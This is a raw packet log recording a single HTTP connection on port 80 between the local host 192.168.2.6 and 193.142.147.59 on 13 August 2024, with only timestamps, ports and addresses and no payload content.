Aug 13, 2024 10:21:13.052617073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.052617073 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.052752972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.057233095 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.064161062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.064227104 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.064241886 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.064373016 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.064388037 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.064403057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.064405918 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.064449072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.064449072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.064560890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067027092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067044973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067056894 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067070007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067085981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067097902 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067101955 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067110062 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067126989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067126989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067415953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067425966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067435980 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067440987 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067493916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067493916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067681074 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067692041 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067702055 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067713022 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.067725897 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.067735910 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.070437908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.078262091 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.078308105 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.078318119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.078444958 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.078459024 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.078469992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.078896999 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.078927994 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079027891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079040051 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079049110 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079060078 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079077959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079087973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079097033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079108000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079124928 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079134941 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079664946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079674959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079685926 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079689980 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079695940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079705954 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079715014 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079715967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079725981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079735994 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079746008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079747915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079747915 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.079756975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.079781055 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080462933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080473900 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080487967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080492973 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080502033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080512047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080512047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080524921 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080766916 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080784082 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080796003 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080797911 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080810070 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.080820084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080862999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.080862999 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.081182957 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081193924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081204891 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081214905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081223965 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081233978 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081244946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081245899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.081255913 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081267118 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.081278086 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.081473112 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.081908941 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081919909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081929922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081942081 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081953049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081962109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081974983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.081975937 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082016945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082017899 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082483053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082494020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082655907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082664967 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082675934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082695007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082704067 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082706928 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082716942 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082721949 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082727909 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082739115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082745075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082745075 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082748890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082758904 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.082777023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.082777023 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.083631039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083642006 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083651066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083657026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.083662987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083673000 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083683014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083694935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.083697081 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.083720922 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.084650040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084661961 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084670067 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084675074 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.084681034 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084691048 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084701061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084711075 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084713936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.084721088 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084732056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084743023 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.084743977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.084769964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.085227966 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085239887 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085254908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085261106 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085264921 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085274935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085284948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.085294962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.085294962 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.085345984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.085345984 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.140337944 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140351057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140361071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140435934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.140516043 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140527964 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140537977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140552044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140575886 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.140609026 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.140770912 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.140919924 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.151855946 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.151917934 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.151927948 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.151940107 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.151988029 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.152062893 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.152156115 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.152168036 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.152239084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.152319908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.152472019 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.153614044 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153691053 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153702974 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153773069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.153773069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.153860092 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153877020 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153887987 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153899908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.153899908 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.153964996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.153964996 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.154679060 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.154747963 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.154759884 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.154824972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.154824972 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.154882908 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.154968977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.155025959 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.155035973 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.155046940 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.155113935 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.164872885 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.164916992 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.164941072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165025949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165038109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165050983 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165205002 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165215969 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165225983 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165230036 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165236950 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165256977 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165338039 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165492058 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165744066 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165755033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165766001 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165776968 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165787935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165791035 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165797949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165808916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165813923 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165817022 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165824890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165833950 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165837049 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.165896893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.165896893 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.166407108 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166421890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166434050 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166459084 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.166521072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.166615009 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166625977 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166637897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166650057 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166672945 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.166696072 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.166958094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166969061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166975975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.166985035 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.167040110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.167040110 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.168085098 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168152094 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168163061 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168255091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.168303013 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168323040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168334007 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168344975 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168371916 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.168617964 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.168648005 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168658972 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168669939 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168679953 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168884993 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.168956995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168967962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168978930 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.168988943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169045925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169045925 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169348955 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169359922 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169374943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169384956 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169395924 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169411898 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169425011 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169433117 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169508934 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169683933 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169778109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169789076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169797897 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169807911 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169816971 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169827938 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169828892 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169835091 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169838905 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.169861078 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.169908047 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170471907 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170488119 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170500040 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170509100 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170519114 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170527935 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170537949 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170540094 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170547962 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170558929 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170563936 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170564890 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170576096 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170586109 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170586109 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170597076 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.170624971 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170645952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.170645952 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.171436071 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171447039 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171457052 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171468019 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171478033 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171488047 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171489954 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.171499014 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171509981 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171519995 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171524048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.171524048 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.171530008 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171540976 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171550989 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.171551943 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171565056 CEST	80	49711	193.142.147.59	192.168.2.6
Aug 13, 2024 10:21:13.171575069 CEST	49711	80	192.168.2.6	193.142.147.59
Aug 13, 2024 10:21:13.171618938 CEST	49711	80	192.168.2.6	193.142.147.59
